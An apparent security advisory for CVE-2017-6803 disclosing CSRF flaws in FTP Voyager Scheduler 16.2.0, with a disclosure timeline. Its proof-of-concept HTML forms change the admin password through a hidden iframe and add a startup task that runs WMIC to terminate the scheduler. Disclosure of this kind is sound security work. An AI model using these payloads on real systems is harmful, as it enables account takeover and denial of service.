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FTP Voyager Scheduler 16.2.0 CSRF / Denial Of Service

FTP Voyager Scheduler 16.2.0 CSRF / Denial Of Service
Posted Mar 10, 2017
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

FTP Voyager Scheduler version 16.2.0 suffers from cross site request forgery and denial of service vulnerabilities.

tags | exploit, denial of service, vulnerability, csrf
advisories | CVE-2017-6803
SHA-256 | c250c29068b52f653617aca259b87be4598e18f76d16ecb57f65037613ae14a6

FTP Voyager Scheduler 16.2.0 CSRF / Denial Of Service

Change Mirror Download
[+] Credits: John Page AKA hyp3rlinx  
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/FTP-VOYAGER-SCHEDULER-CSRF-REMOTE-CMD-EXECUTION.txt
[+] ISR: ApparitionSec


FTP Voyager Scheduler

Vulnerability Type:
CSRF Remote Command Execution

CVE Reference:

Security Issue:
Multiple cross site request forgeries exist in the Web Interface side of FTP Voyager Scheduler running on port 52986.
Allowing remote attackers to make HTTP requests on behalf of an authenticated user if that user visits a malicious
webpage or clicks an attacker supplied link.

FTP Voyager has a scheduler feature that lets users create tasks/commands to execute on some type of other action like
when Directorys are created, files uploaded/downloader, Scheduler starts or stops and so forth. Remote attackers who
successfully pull off CSRF exploitation can do things like change the Admin password or cause a persistent Denial of Service
by setting the task to terminate "FTP Voyager Scheduler" itself upon startup among other nefarious things.


Default login no password, then set a password in FTP Voyager Scheduler Web interface.

Upon CSRF the user will get a HTTP Response will be like below, we can prevent user from seeing this message
targeting hidden iframe in webpage.

<response><result>0</result><ResultText>Operation was successful.</ResultText><ObjectID>141175</ObjectID></response>

1) Change Admin passwd

<iframe name="hideme" style="display:none" ></iframe>

<form target="hideme" action="http://localhost:52986/Admin/XML/Result.xml?Command=UpdateObject&Object=CScheduler.0.Scheduler.0&StaticOnly=1&Sync=666" method="post">
<input type="hidden" name="AdminPassword" value="PWN123">
<input type="hidden" name="ConfirmAdminPassword" value="PWN123">
<input type="hidden" name="RemoteAdmin" value="1">
<input type="hidden" name="RemoteAdminPort" value="52986">
<input type="hidden" name="RemoteAdminSSL" value="0">

2) Persistent Denial Of Service uses call to WMIC

<form action="http://localhost:52986/Admin/XML/Result.xml?Command=AddObject&Object=CEventAttrs.0.FVSEvent&Sync=666" method="post">
<input type="hidden" name="EventName" value="PWN">
<input type="hidden" name="Description" value="Run Command!">
<input type="hidden" name="Enabled" value="1">
<input type="hidden" name="EventID" value="1"> <!-- Run on Scheduler Start event -->
<input type="hidden" name="Action" value="2">
<input type="hidden" name="multiselect_Action" value="2">
<input type="hidden" name="EmailToAddress" value="evil@gods.abyss">
<input type="hidden" name="EmailToAddressBCC" value="">
<input type="hidden" name="ExeFilePath" value="C:\Windows\System32\wbem\WMIC.exe">
<input type="hidden" name="ExecWaitSecs" value="5">
<input type="hidden" name="Data1" value="process where name='FTP Voyager Scheduler.exe' call terminate">
<input type="hidden" name="Data2" value="&">

Network Access:


Disclosure Timeline:
Vendor Notification: November 30, 2016
Result: No Reply
Second Notification Attempt: March 5, 2017
March 9, 2017 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c)

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